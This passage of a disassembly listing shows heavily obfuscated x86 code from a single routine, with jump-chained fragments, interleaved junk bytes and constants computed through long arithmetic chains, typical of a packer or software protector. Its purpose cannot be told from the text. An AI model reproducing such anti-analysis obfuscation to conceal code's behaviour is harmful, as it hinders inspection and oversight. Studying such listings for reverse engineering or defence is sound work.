		mov	esp, [esp+64h+var_64]
		jmp	loc_559566
; ---------------------------------------------------------------------------
		db 5Ch
		dd 64242C81h, 0E93FD72Ah, 0FFFF9484h
; ---------------------------------------------------------------------------

loc_563EA4:				; CODE XREF: sub_542C3C+1C9AAj
		push	ebx
		mov	ebx, 744B77EFh
		jmp	loc_5661A5
; ---------------------------------------------------------------------------
		db 8Bh
		dd 4AE9243Ch
		db 99h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_563EB7:				; CODE XREF: sub_542C3C+2504Dj
		add	ecx, edi
		pop	edi
		sub	edx, ecx
		pop	ecx
		add	edx, esi
		add	edx, 4FF27311h
		jmp	loc_55F280
; ---------------------------------------------------------------------------
		dw 3B66h
		dd 79E99CC8h, 88FFFEF6h, 85FEE9EBh, 0C189FFFFh,	5859CB89h
		dd 0E95BDE01h, 0FFFFCC0Ah
; ---------------------------------------------------------------------------

loc_563EE8:				; CODE XREF: sub_542C3C+240A5j
		add	edi, 3C267336h
		jmp	loc_557B77
; ---------------------------------------------------------------------------

loc_563EF3:				; CODE XREF: sub_542C3C+22468j
		sub	eax, esi
		pop	esi
		push	[esp+96h+var_98+2]
		pop	ecx
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		jmp	loc_563C84
; ---------------------------------------------------------------------------
		dw 405h
		dd 2D000000h, 4, 5C240487h, 0FF100BE9h,	1AE957FFh
		db 25h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_563F27:				; CODE XREF: sub_542C3C+1D244j
		pop	edi
		add	edi, 4
		add	edi, 4
		push	edi
		jmp	loc_56226C
; ---------------------------------------------------------------------------
		db 0B8h
		dd 40945CEDh, 59D4E940h, 0C281FFFFh, 727C5F2Fh,	0EA81F229h
		dd 727C5F2Fh, 5E2434FFh, 0E35EE950h, 0F101FFFFh, 51E9515Eh
		dd 5AFFFF38h, 33E95450h, 2DFFFF4Eh, 6ABF42E3h, 0E305F829h
		dd 5F6ABF42h, 8D094205h, 0F8E93Eh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_563F82:				; CODE XREF: sub_542C3C+1FF48j
		add	ecx, 4
		xchg	ecx, [esp+0A0h+var_A2+2]
		pop	esp
		jmp	loc_558A9F
; ---------------------------------------------------------------------------
		dw 1C89h
		dd 4EC8124h, 54000000h,	0E924048Fh, 0FFFF28BAh,	4BD555Bh
		dd 68000000h, 4A33h, 0BD242C89h, 56093B4Ch, 2B5DE9h
		db 0
; ---------------------------------------------------------------------------

loc_563FB9:				; CODE XREF: sub_542C3C+1F771j
		xchg	ebx, edi
		xchg	edi, esi
		add	esi, 723C2550h
		add	esi, 36F16F5Dh
		add	eax, esi
		pop	esi
		sub	eax, 4
		jmp	loc_55EFBF
; ---------------------------------------------------------------------------
		dd 276D8EBBh, 0AB21687Fh, 0E95EDBDDh, 16B7h
; ---------------------------------------------------------------------------

loc_563FE4:				; CODE XREF: sub_542C3C+1ED18j
		pop	ebx
		jmp	loc_558D76
; ---------------------------------------------------------------------------

loc_563FEA:				; CODE XREF: sub_542C3C+1EC70j
		sub	edi, edx
		pop	edx
		push	esi
		push	ebp
		push	51457972h
		pop	ebp
		inc	ebp
		push	edx
		mov	edx, 6B131F62h
		jmp	loc_55EE8E
; ---------------------------------------------------------------------------
		db 1, 0F8h, 0E9h
		dd 0FFFFA320h, 63D3BB53h, 0C3813ECDh, 3D387152h, 0D521EB81h
		dd 3EE97C05h, 5AFFFF7Dh, 0FF35C9E9h, 0EA8158FFh, 7BE6E92h
		dd 0C281DAF7h, 8006F469h, 242C8152h, 1BBB4554h,	54C7815Fh
		dd 8B1BBB45h, 0C4812414h, 4, 3C8BF821h,	38206824h, 4890000h
		dd 0E5E9E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56405E:				; CODE XREF: sub_542C3C+1C43Bj
		mov	esi, [esp+80h+var_80]
		push	esi
		mov	esi, esp
		jmp	loc_556728
; ---------------------------------------------------------------------------

loc_564069:				; CODE XREF: sub_542C3C+15C30j
		add	ecx, ebp
		jmp	loc_55FCE5
; ---------------------------------------------------------------------------
		dd 6EC6BA52h, 0D1013764h, 0C7C1815Ah, 11B3429h,	0C7E981F9h
		dd 681B3429h, 402Ah, 0FF8B21E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_564091:				; CODE XREF: sub_542C3C+23E92j
		neg	ecx
		shr	ecx, 7
		add	ecx, 3739A336h
		or	esi, ecx
		jmp	loc_55D1BC
; ---------------------------------------------------------------------------
		db 66h
		dd 4566D5F7h, 7DF58166h, 0ED81661Ch, 81662024h,	668C15F5h
		dd 665DEB01h, 43FEB81h,	0E9242C8Bh, 0FFFFCB58h,	0C8CF814Fh
		dd 521A167Ah, 0FF231AE9h, 7E7C0FFh, 408F780h, 2CF80031h
		dd 8B665B31h, 0BC68240Ch, 89000075h, 50E9240Ch,	0E9FFFFCEh
		dd 0FFFEF454h, 64E26857h, 815F0C0Ah, 0F054BBF7h, 81E7D148h
		dd 0B9F50C7h, 8BFD0176h, 33E9243Ch
		db 6Bh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_564117:				; CODE XREF: sub_542C3C+19BAAj
		pop	esp
		or	eax, eax
		jz	loc_558512
		sub	esp, 4
		jmp	loc_55FBB5
; ---------------------------------------------------------------------------
		db 0E9h
		dd 0FFFEF41Ch, 0E904E883h, 0FFFF3064h
; ---------------------------------------------------------------------------

loc_564138:				; CODE XREF: sub_542C3C+10E7Bj
		inc	eax
		push	edi
		mov	edi, 559E2A73h
		jmp	loc_55D4E7
; ---------------------------------------------------------------------------
		dd 291D68h, 241C8900h, 71DDBB66h, 0B8665066h, 316618B6h
		dd 980CE9C3h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56415E:				; CODE XREF: sub_542C3C+14F1Fj
		add	esi, edx
		push	eax
		jmp	loc_555D5E
; ---------------------------------------------------------------------------
		dw 0E089h
		dd 405h, 40500h, 2DE90000h, 58FFFF37h, 0FF810DE9h, 0E9E120FFh
		dd 0FFFFA4B4h, 0C729595Ah, 0B5E78158h, 0C1402415h, 0F78108E7h
		dd 49700B00h, 117661B9h, 8BF9311Eh, 0C483243Ch,	0A3C18104h
		dd 81A88A96h, 0EF7D01EEh, 0E9CE0132h, 0FFFFEEE6h
; ---------------------------------------------------------------------------

loc_5641B8:				; CODE XREF: sub_542C3C+2354Aj
		dec	ecx
		and	ecx, 4AD40352h
		add	ecx, 1CEB3B1Eh
		mov	ebx, ecx
		jmp	loc_557229
; ---------------------------------------------------------------------------
		dd 346B6EBEh, 6EEC10Ah,	5601C683h, 0F7241487h, 241487D2h
		dd 81BD555Eh, 5269C435h, 0FFE99CE9h, 80BE56FFh,	0C1224451h
		dd 0C68108E6h, 0FFFFFFFFh, 6A28EE81h, 0E6812B0Ah, 595E5D94h
		dd 0EA6EC681h, 0F701E6B9h, 4EC835Eh, 0FF243C89h, 5F042474h
		dd 5C24048Fh, 4B30F66h,	88E99C24h, 81FFFF1Dh, 4C6h, 998DE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_564236:				; CODE XREF: sub_542C3C+16700j
		pop	edi
		sub	esi, 4B9FF8D6h
		sub	edx, esi
		pop	esi
		mov	ebp, [esp+48h+var_48]
		add	esp, 4
		push	ecx
		mov	ecx, 516E03DFh
		add	ecx, 1F2A4D2Ch
		not	ecx
		shl	ecx, 4
		xor	ecx, 0EE79B212h
		add	edx, ecx
		pop	ecx
		sub	edx, 2A173F39h
		jmp	loc_55BB41
; ---------------------------------------------------------------------------
		db 89h
		dd 4BE56E5h, 81000000h,	775A7FC5h, 0F8ED8108h, 13A012Dh
		dd 0F8C581F5h, 813A012Dh, 775A7FEDh, 0CC63E908h, 0D601FFFFh
		dd 2434335Ah, 0FF4258E9h, 5366ACFFh, 0FFA937E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5642A5:				; CODE XREF: sub_542C3C+15077j
		add	ebx, edi
		pop	edi
		sub	ebx, eax
		sub	ebx, 5F684547h
		add	ebx, 595C6D18h
		push	eax
		mov	eax, 2D135953h
		jmp	loc_563398
; ---------------------------------------------------------------------------

loc_5642C1:				; CODE XREF: sub_542C3C+139ECj
		add	eax, 49BA416Ch
		jmp	loc_55A200
; ---------------------------------------------------------------------------
		db 83h
		dd 0C78104C4h, 4, 0FF97BFE9h, 2434FFFFh, 8B2434FFh, 8952240Ch
		dd 4C281E2h, 81000000h,	4C2h, 24148700h, 0F161E95Ch, 8F58FFFFh
		dd 248B2404h, 24048924h, 0FF5A49E9h, 0B95158FFh, 4, 3343D605h
		dd 21DE054Ah, 0C8014B30h, 0FF700EE9h, 4EB850FFh, 217B9119h
		dd 0EAD158C2h, 2414F752h, 5DC2815Ah, 896B4C39h,	1FE5E9D1h
		dd 0E3810000h, 5E513210h, 0FF8785E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_564349:				; CODE XREF: sub_542C3C+20B0Bj
		mov	[esp+70h+var_70], eax
		xor	[esp+70h+var_70], ecx
		jmp	loc_5545E6
; ---------------------------------------------------------------------------
		dd 44CEF681h, 0C6811E23h, 0EA154776h, 505EF701h, 4EC81h
		dd 0C890000h, 3D186824h, 815967C0h, 591C27E9h, 2E1C102h
		dd 0FFBBFBE9h, 70AC68FFh, 14890000h, 0E9E28924h, 1663h
; ---------------------------------------------------------------------------

loc_564390:				; CODE XREF: sub_542C3C+127B2j
		mov	[esp+9Ch+var_9C], ecx
		mov	ecx, 0B201D79h
		push	edx
		mov	edx, 3E8C72A5h
		sub	edx, 2B5935ADh
		and	ecx, edx
		pop	edx
		xor	ecx, 40D4AB2h
		or	ecx, 4AC83C65h
		shl	ecx, 3
		shl	ecx, 2
		sub	ecx, 0A1C46C59h
		add	edx, ecx
		pop	ecx
		add	edx, esi
		sub	esp, 4
		mov	[esp+9Ch+var_9C], edi
		push	ebx
		push	7F8C780Ah
		pop	ebx
		not	ebx
		xor	ebx, 2432518Fh
		xor	ebx, 472008Bh
		sub	ebx, 351588CDh
		mov	edi, ebx
		pop	ebx
		or	edi, 28D75E68h
		inc	edi
		and	edi, 212D32BEh
		or	edi, 5EFB6CE3h
		or	edi, 760A348Dh
		add	edi, 0DBEBF298h
		sub	edx, 0A437672h
		sub	edx, edi
		add	edx, 0A437672h
		pop	edi
		pop	esi
		xor	edx, [esp+94h+var_94]
		xor	[esp+94h+var_94], edx
		xor	edx, [esp+94h+var_94]
		jmp	loc_560D0B
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 8F000000h, 895C2404h, 57E92434h, 29000016h, 0E904246Ch
		dd 0FFFFDC15h
; ---------------------------------------------------------------------------

loc_564440:				; CODE XREF: sub_542C3C+1568Cj
		mov	ebp, [esp+0A6h+var_A6]
		push	421Bh
		mov	[esp+0AAh+var_AA], esi
		jmp	loc_555A29
; ---------------------------------------------------------------------------
		dd 87242C81h, 29121E4Fh, 9AE92404h, 89000022h, 64E9240Ch
		dd 8F000032h, 0BEE92404h
		db 30h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56446F:				; CODE XREF: sub_542C3C+154A2j
		mov	[esp+40h+var_40], ebp
		sub	esp, 4
		jmp	loc_557959
; ---------------------------------------------------------------------------

loc_56447D:				; CODE XREF: sub_542C3C+1103Fj
		push	ebp
		mov	ebp, 6B971234h
		not	ebp
		and	ebp, 4B7432FFh
		dec	ebp
		sub	ebp, 0BA06D8D9h
		xor	eax, ebp
		pop	ebp
		or	eax, 1BF03AB4h
		sub	eax, 5BF27ABBh
		add	edx, eax
		pop	eax
		jmp	loc_559D28
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C4832414h, 51D80104h, 0D3121AB9h, 0E981415Fh, 1568F8FEh
		dd 669BE981h, 81417B68h, 0CFC350F1h, 0F3FE98Ah,	0E9C0FFFFh
		dd 1E63E908h, 74FF0000h, 48B0424h, 4C48124h, 8F000000h
		dd 248B2404h, 3FA3E924h, 0C3810000h, 1CF56A70h,	6DE9515Eh
		db 0DCh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5644FB:				; CODE XREF: sub_542C3C+16149j
		push	edi
		mov	edi, 976C296Bh
		push	edx
		mov	edx, 23B906C1h
		sub	edx, 73F27603h
		add	edx, 600B4740h
		xor	edx, 4DD70B81h
		xor	edx, 6CAFBAB5h
		add	ebp, edx
		pop	edx
		jmp	loc_563B2D
; ---------------------------------------------------------------------------
		db 89h
		dd 0ED815DEAh, 6BCD0B10h, 1C69E9h
		db 0
; ---------------------------------------------------------------------------

loc_564535:				; CODE XREF: sub_542C3C+22DE3j
		pop	edx
		xor	ebx, [esp+48h+var_48]
		xor	[esp+48h+var_48], ebx
		jmp	loc_556AF9
; ---------------------------------------------------------------------------
		db 51h,	0E9h, 0C8h
		dd 68FFFF56h, 6B6Eh, 0E9242489h, 0FFFFEABCh, 0CC568h, 24148900h
		dd 4E27C3BAh, 0C0C28100h, 0F7326540h, 4333E9DAh, 14F70000h
		dd 61C4E924h, 1489FFFFh, 0E9536624h, 1020h, 0E9241C89h
		dd 0FFFFD1EBh, 7E3468h,	24248900h, 4240483h, 8124348Bh
		dd 4C4h, 5951E900h, 74FFFFFFh, 8F5B0424h, 248B2404h, 5E545624h
		dd 1ECAB951h, 0C181390Bh, 79B1244Bh, 0BCEFC181h, 0CE014D43h
		dd 83240C8Bh, 0BB5304C4h, 4, 73E9DE01h,	0E9FFFF8Ah, 0FFFEEF70h
		dd 8124348Bh, 4C4h, 3E2C100h, 8718EA81h, 0D5297EC5h, 5D6E9h
		db 0
; ---------------------------------------------------------------------------

loc_5645F5:				; CODE XREF: sub_542C3C+20592j
		add	[esp+88h+var_84], esi
		jmp	loc_564896
; ---------------------------------------------------------------------------

loc_5645FE:				; CODE XREF: sub_542C3C+11205j
		push	ebx
		mov	ebx, 684E51DCh
		add	ebx, 0B7BFD3Fh
		add	edx, ebx
		pop	ebx
		pop	ecx
		push	esi
		mov	esi, esp
		push	ecx
		mov	ecx, 4
		add	esi, ecx
		jmp	loc_55BBE9
; ---------------------------------------------------------------------------
		dw 3C87h
		dd 0E9505C24h, 0FFFF90F3h
; ---------------------------------------------------------------------------

loc_564628:				; CODE XREF: sub_542C3C+24BEFj
		mov	eax, esp
		jmp	loc_560D16
; ---------------------------------------------------------------------------

loc_56462F:				; CODE XREF: sub_542C3C+175B1j
		xor	ecx, 7FBF0C4Fh
		and	ecx, 45D55478h
		add	ecx, 0BE3BBFE4h
		add	esi, ecx
		pop	ecx
		sub	esp, 4
		mov	[esp+80h+var_80], ecx
		jmp	loc_555A3E
; ---------------------------------------------------------------------------

loc_564652:				; CODE XREF: sub_542C3C+223CFj
		add	ebx, 69C8171Bh
		add	ebx, edi
		sub	ebx, 69C8171Bh
		sub	ebx, 85633AAh
		push	ecx
		push	edi
		mov	edi, 0
		push	edx
		mov	edx, edi
		mov	ecx, edx
		jmp	loc_5564C8
; ---------------------------------------------------------------------------
		db 58h
		dd 81595451h, 4C1h, 950CE900h, 3C89FFFFh, 0A463BF24h, 0F901D47Dh
		dd 81243C8Bh, 4C4h, 8BC80100h
		db 0Ch,	24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_562C40
; ---------------------------------------------------------------------------

loc_5646A6:				; CODE XREF: sub_542C3C+16ED6j
		push	edi
		mov	edi, 5FCA343Bh
		jmp	loc_55E21A
; ---------------------------------------------------------------------------
		db 89h,	4, 24h
		dd 0F538E957h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------

loc_5646BA:				; CODE XREF: sub_542C3C+1C54Dj
		add	esp, 4
		push	339Bh
		mov	[esp+9Ch+var_9C], edx
		push	edi
		push	58726D62h
		mov	edi, [esp+0A4h+var_A6+2]
		jmp	loc_55701D
; ---------------------------------------------------------------------------

loc_5646D6:				; CODE XREF: sub_542C3C+12480j
		add	ebx, 44CE16BAh
		sub	ebx, eax
		sub	ebx, 44CE16BAh
		pop	eax
		xchg	ebx, [esp+96h+var_98+2]
		pop	esp
		mov	[esp+92h+var_94+2], edx
		push	ebx
		jmp	loc_568892
; ---------------------------------------------------------------------------
		dw 1C87h
		dd 16E95C24h, 31000037h, 0CD015FF9h, 56240C8Bh,	0C6815E54h
		dd 4, 551AB850h, 0BF571D66h, 5CD922CCh,	0EF81DFF7h, 6F865EDBh
		dd 0D5FF809h, 0D412047h, 1880A505h, 58C601C0h, 2474FF56h
		dd 48F5E04h, 24248B24h,	562BBF57h, 0F7572E04h, 815F2414h
		dd 45630C7h, 5FFD012Eh,	5C242C87h, 9C240431h, 0FEEDEFE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_56475D:				; CODE XREF: sub_542C3C+20EF3j
		sub	ebp, 2EA966CAh
		pop	edi
		sub	edi, ebp
		pop	ebp
		sub	edi, 4E913559h
		sub	edi, 301963E2h
		add	edi, edx
		add	edi, 301963E2h
		add	edi, 4E913559h
		add	edi, 46FC1474h
		jmp	loc_5630C8
; ---------------------------------------------------------------------------

loc_56478C:				; CODE XREF: sub_542C3C+18311j
		add	ebx, edi
		pop	edi
		pop	eax
		xor	ebx, [esp+0A6h+var_A6]
		jmp	loc_563736
; ---------------------------------------------------------------------------

loc_564798:				; CODE XREF: sub_542C3C+1455Bj
		sub	ah, 0CDh
		sub	ah, 10h
		inc	ah
		add	ah, 51h
		sub	bl, ah
		mov	eax, [esp+96h+var_98+2]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp+9Ah+var_9C+2]
		pop	esp
		sub	bl, al
		sub	esp, 2
		jmp	loc_567426
; ---------------------------------------------------------------------------

loc_5647C6:				; CODE XREF: sub_542C3C+11B1Cj
		add	ecx, 4
		add	ecx, 4
		xor	ecx, [esp+80h+var_80]
		xor	[esp+80h+var_80], ecx
		jmp	loc_55AEBB
; ---------------------------------------------------------------------------

loc_5647DD:				; CODE XREF: sub_542C3C+1E9BEj
		sub	esi, edx
		mov	edx, [esp+9Ah+var_9C+2]
		add	esp, 4
		jmp	loc_55E80E
; ---------------------------------------------------------------------------
		align 2
aY0		db 'ËY0Þ[',0
		dd 1A045AF0h, 0D1CE9h, 24043300h, 33240431h, 0FBE92404h
		dd 81FFFF21h, 4C4h, 24048F00h, 66E9F65Ch, 66CCB60Fh, 0E934FA68h
		dd 0FFFF09AAh, 0E9242C8Bh, 0FFFF30C3h, 23CBEB81h, 0C3817789h
		dd 21FB17EEh, 0EB81EB01h, 21FB17EEh, 23CBC381h,	2C8B7789h
		dd 4C48124h, 50000000h,	884F13B8h, 5EFDE926h, 248BFFFFh
		dd 0E4E95724h, 81FFFFFCh, 8B0913E9h, 59CA89D3h,	815AD721h
		dd 9A6D85EFh, 3EFC137h,	73E9D7F7h, 59FFFF11h, 2C8B850h
		dd 0E948188Fh, 0FFFFC8EBh, 2BBh, 0F501E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_564896:				; CODE XREF: sub_542C3C+219BDj
		pop	esi
		pop	esi
		sub	esi, 59357321h
		pop	eax
		jmp	loc_55A026
; ---------------------------------------------------------------------------
		dd 5102C483h, 592414F6h, 0FF3218E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5648B1:				; CODE XREF: sub_542C3C+121BBj
		add	esp, 4
		jmp	loc_553C5E
; ---------------------------------------------------------------------------

loc_5648B9:				; CODE XREF: sub_542C3C+246EDj
		shl	ebp, 4
		jmp	loc_55C301
; ---------------------------------------------------------------------------
		db 80h,	0CEh, 3Fh
		dd 93E9DEF6h, 0FFFFFF1Ch, 34FF2434h, 24148B24h,	81E18951h
		dd 4C1h, 3ACAE900h, 3C8B0000h, 0BEE95224h, 56FFFF69h, 5A5AB951h
		dd 39E91B7Fh
		db 8Dh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5648F7:				; CODE XREF: sub_542C3C+127CCj
		push	ecx
		jmp	loc_563BF4
; ---------------------------------------------------------------------------

loc_5648FD:				; CODE XREF: sub_542C3C+130E9j
		shl	eax, 5
		shr	eax, 6
		neg	eax
		add	eax, 2B6F93Dh
		add	esi, eax
		pop	eax
		add	esi, 6452DC0Bh
		jmp	loc_56572C
; ---------------------------------------------------------------------------

loc_564918:				; CODE XREF: sub_542C3C+15BF3j
		xor	ebx, [esp+64h+var_64]
		xor	[esp+64h+var_64], ebx
		xor	ebx, [esp+64h+var_64]
		jmp	loc_55473D
; ---------------------------------------------------------------------------
		dw 0BD55h
		dd 37576EB8h, 0D15DEF89h, 22E94FEFh, 80FFFEF6h,	0FE3061C7h
		dd 55241C8Bh, 0BB535D54h, 4DA56DA6h, 0FEFC8EE9h, 0F6ECB0FFh
		dd 2E8C0D8h, 5308E8C0h,	0FF3FC4E9h, 4F6850FFh, 0E914035Ch
		dd 0FFFFAC97h
; ---------------------------------------------------------------------------

loc_564968:				; CODE XREF: sub_542C3C+17511j
		push	cx
		mov	ch, 0B4h
		add	al, ch
		pop	cx
		pop	ecx
		push	small 0FCFh
		jmp	loc_55A62C
; ---------------------------------------------------------------------------
		dw 0F181h
		dd 619FE925h, 0C8BC801h, 0F228E924h, 0CB25FFFEh, 3574051Bh
		dd 153C0899h, 0E1E9C309h, 5400000Fh, 0FF5406E9h, 245CF6FFh
		dd 52596601h, 0FFEB10E9h, 4BFFFh, 0F7E90000h, 88FFFFABh
		dd 64D268D8h, 1C890000h, 50C38824h, 0C688D888h,	0FF5F37E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5649CD:				; CODE XREF: sub_542C3C+1AE57j
		not	ecx
		xor	ecx, 18E81F1Fh
		shl	ecx, 7
		jmp	loc_565C11
; ---------------------------------------------------------------------------
		db 0B2h, 5Dh, 88h
		dd 0E95A66D5h, 0FFFFD87Ah, 42474FFh, 0E924348Bh, 0FFFF1EDEh
		dd 0B850E289h, 4, 1BE9C201h, 8100003Fh,	4C1h, 240C8700h
		dd 0FF3456E9h, 0FFEA83FFh, 6564B850h, 6EE91554h, 81FFFFF3h
		dd 0A1D83FF1h, 59C8017Eh, 8158C101h, 4C1h, 240C3300h, 33240C31h
		dd 0E95C240Ch, 0FFFF43E7h, 0E6E9DEF6h, 64FFFF5Ah, 0FDE9028Fh
		db 0EAh, 0FEh, 0FFh
; ---------------------------------------------------------------------------

loc_564A4F:				; CODE XREF: sub_542C3C+15F74j
		mov	edi, esp
		add	edi, 4
		push	eax
		mov	eax, 51930BCCh
		or	eax, 0DD36CFAh
		or	eax, 26696985h
		shr	eax, 4
		or	eax, 4A5A25B1h
		xor	eax, 4FFFB7FBh
		sub	edi, eax
		jmp	loc_5664A4
; ---------------------------------------------------------------------------

loc_564A7B:				; CODE XREF: sub_542C3C+1E27Aj
		add	edx, 6423299Ah
		pop	ebx
		push	487h
		mov	[esp+48h+var_48], eax
		mov	eax, 0
		add	eax, edx
		sub	esp, 4
		jmp	loc_562FF9
; ---------------------------------------------------------------------------
		dd 0B6E9E189h
		db 81h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_564AA3:				; CODE XREF: sub_542C3C+15B8Bj
		pop	eax
		jmp	loc_55918C
; ---------------------------------------------------------------------------
		db 5Bh,	0, 0D8h
aTfrH		db ',’fR¶h',0
		db 0F0h
		dd 0E9565A66h, 0FFFF821Eh
; ---------------------------------------------------------------------------

loc_564ABC:				; CODE XREF: sub_542C3C+15E32j
		jmp	loc_55354C
; ---------------------------------------------------------------------------

loc_564AC1:				; CODE XREF: sub_542C3C+1D167j
		add	ecx, 76485CCDh
		add	ecx, edi
		sub	ecx, 76485CCDh
		pop	edi
		jmp	loc_559F16
; ---------------------------------------------------------------------------
aNs_0		db '­éÁ',0Dh,0
		dw 5100h
		dd 0FE44E957h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_564AE2:				; CODE XREF: sub_542C3C+18562j
		sub	eax, 939EF900h
		add	edx, eax
		pop	eax
		neg	edx
		shl	edx, 8
		sub	edx, 0A52CB658h
		mov	ecx, edx
		jmp	loc_5619F8
; ---------------------------------------------------------------------------
		dd 4C4835Eh, 5204C483h,	0FFB57FE9h, 240C89FFh, 0B0505AB5h
		dd 32F1E91Ah, 8F59FFFFh, 1EE92404h
		db 8Ch,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_564B1F:				; CODE XREF: sub_542C3C+1EC32j
		pop	[esp+90h+var_90]
		mov	esp, [esp+8Ch+var_8C]
		mov	[esp+8Ch+var_8C], ebx
		mov	ecx, [esp+8Ch+var_8C]
		add	esp, 4
		sub	esp, 4
		jmp	loc_556972
; ---------------------------------------------------------------------------

loc_564B39:				; CODE XREF: sub_542C3C+1D19Cj
		sub	esp, 4
		mov	[esp+0A6h+var_A6], ecx
		jmp	loc_565B34
; ---------------------------------------------------------------------------

loc_564B47:				; CODE XREF: sub_542C3C+1DCF7j
		mov	eax, esp
		jmp	loc_55AA62
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 55CF0104h, 0EC4777BDh, 5DEF2908h, 6641E951h,	248BFFFFh
		dd 2434FF24h, 0FEF1D9E9h, 5AD501FFh, 0ED81FD29h, 66A547D3h
		dd 0FFD4CFE9h, 545658FFh, 4C6815Eh, 81000000h, 4EEh, 24348700h
		dd 0E924248Bh, 0FFFF1D10h, 0F7F4B85Ah, 565185FCh, 0DF5630BEh
		dd 0AB9BE934h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_564BAA:				; CODE XREF: sub_542C3C+1AD65j
		push	1C972FCBh
		mov	esi, [esp+40h+var_40]
		add	esp, 4
		neg	esi
		not	esi
		jmp	loc_554400
; ---------------------------------------------------------------------------
		dw 3DB0h
		dd 0FF5F50E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_564BC5:				; CODE XREF: sub_542C3C+20A98j
		pop	ebx
		jmp	loc_5612C1
; ---------------------------------------------------------------------------
		db 5Ah
		dd 2C8BEB89h, 0E2895224h, 4C281h, 0C2810000h, 4, 0FFE8DFE9h
		dd 0E9595BFFh, 3D67h
; ---------------------------------------------------------------------------

loc_564BEC:				; CODE XREF: sub_542C3C+23128j
		pop	edx
		add	eax, 1
		shl	eax, 2
		jmp	loc_55647F
; ---------------------------------------------------------------------------

loc_564BFA:				; CODE XREF: sub_542C3C+18A47j
		pop	edi
		shl	eax, 4
		push	6E6Fh
		mov	[esp+98h+var_98], eax
		sub	[esp+98h+var_98], 0FFFFFFFFh
		push	[esp+98h+var_98]
		pop	eax
		add	esp, 4
		jmp	loc_553C2F
; ---------------------------------------------------------------------------

loc_564C19:				; CODE XREF: sub_542C3C+203C5j
		add	ebx, eax
		add	[ebx], ecx
		mov	ebx, [esp+64h+var_64]
		add	esp, 4
		mov	eax, [esp+60h+var_60]
		add	esp, 4
		mov	edx, [esp+5Ch+var_5C]
		push	ebp
		jmp	loc_55B61A
; ---------------------------------------------------------------------------

loc_564C35:				; CODE XREF: sub_542C3C+1911Cj
		pop	ebx
		and	edi, ecx
		pop	ecx
		jmp	loc_561C53
; ---------------------------------------------------------------------------
		dw 0EC83h
		dd 24248904h, 4BE56h, 74010000h, 3AE90424h, 5BFFFF83h
		dd 29DF68h, 242C8900h, 9EE95D54h, 81FFFF96h, 4C2h, 4BB5300h
		dd 1000000h, 14875BDAh,	24248B24h, 75DC68h, 240C8900h
		dd 0E580E6B5h, 6EDC08Bh, 0E734E952h, 0D901FFFFh, 5352535Bh
		dd 0C9733B68h, 0BD555B57h, 3C4A1EB4h, 0C15DEB29h, 0F38702EBh
		dd 0F387D6F7h, 0D524C381h, 0DA8906DFh, 0FF49E3E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_564CB9:				; CODE XREF: sub_542C3C+20142j
		shr	eax, 4
		neg	eax
		sub	eax, 0F9C46DEAh
		push	esi
		mov	esi, 7F664B0Ah
		xor	esi, 0CD4E08h
		push	ebp
		jmp	loc_55EE27
; ---------------------------------------------------------------------------
		db 89h,	2 dup(24h)
		dd 13F1E9h, 24148900h, 4BAh, 5AD10100h,	8704E983h, 895C240Ch
		dd 0E954243Ch, 0FFFF60CEh, 4C481h, 0C870000h, 0C895C24h
		dd 0E842E924h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------

loc_564D0A:				; CODE XREF: sub_542C3C+156ABj
		xor	eax, [esp+0AAh+var_AA]
		mov	esp, [esp+0AAh+var_AA]
		push	[esp+0AAh+var_AA]
		jmp	loc_55D3FA
; ---------------------------------------------------------------------------
		dd 7B685A54h, 89000010h, 0E957240Ch, 0FFFF4E04h, 1C8BDD89h
		dd 4C48324h, 6624EA81h,	0EA810701h, 50F5644h, 0C281EA01h
		dd 50F5644h, 6624C281h,	2C8B0701h, 33B5E924h, 47680000h
		dd 5967AD06h, 0B2E9CE29h, 0B8FFFFC4h, 766E01B2h, 0FFC69CE9h
		dd 81E789FFh, 4C7h, 4C78100h, 87000000h, 0FF5C243Ch, 0A6E92434h
		dd 8B000020h, 0C481240Ch, 4, 2B850h, 0ED810000h, 0A611D0h
		dd 0FF099FE9h, 81D5F7FFh, 0F9702DF5h, 5EDC13Dh,	0FF732DE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_564DAD:				; CODE XREF: sub_542C3C+18D3Aj
		add	edi, 0BBE70EA7h
		mov	edx, edi
		pop	edi
		jmp	loc_5667CF
; ---------------------------------------------------------------------------
		db 89h
		dd 0EBE9240Ch, 81FFFFD7h, 0D923BF1h, 59C80127h,	0E958C131h
		dd 0FFFF94D9h, 15DEF29h, 0E5CDE9CFh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_564DDE:				; CODE XREF: sub_542C3C+1C72Fj
		mov	ebx, 59311DB8h
		shl	ebx, 7
		jmp	loc_55B4C6
; ---------------------------------------------------------------------------
		db 0D1h
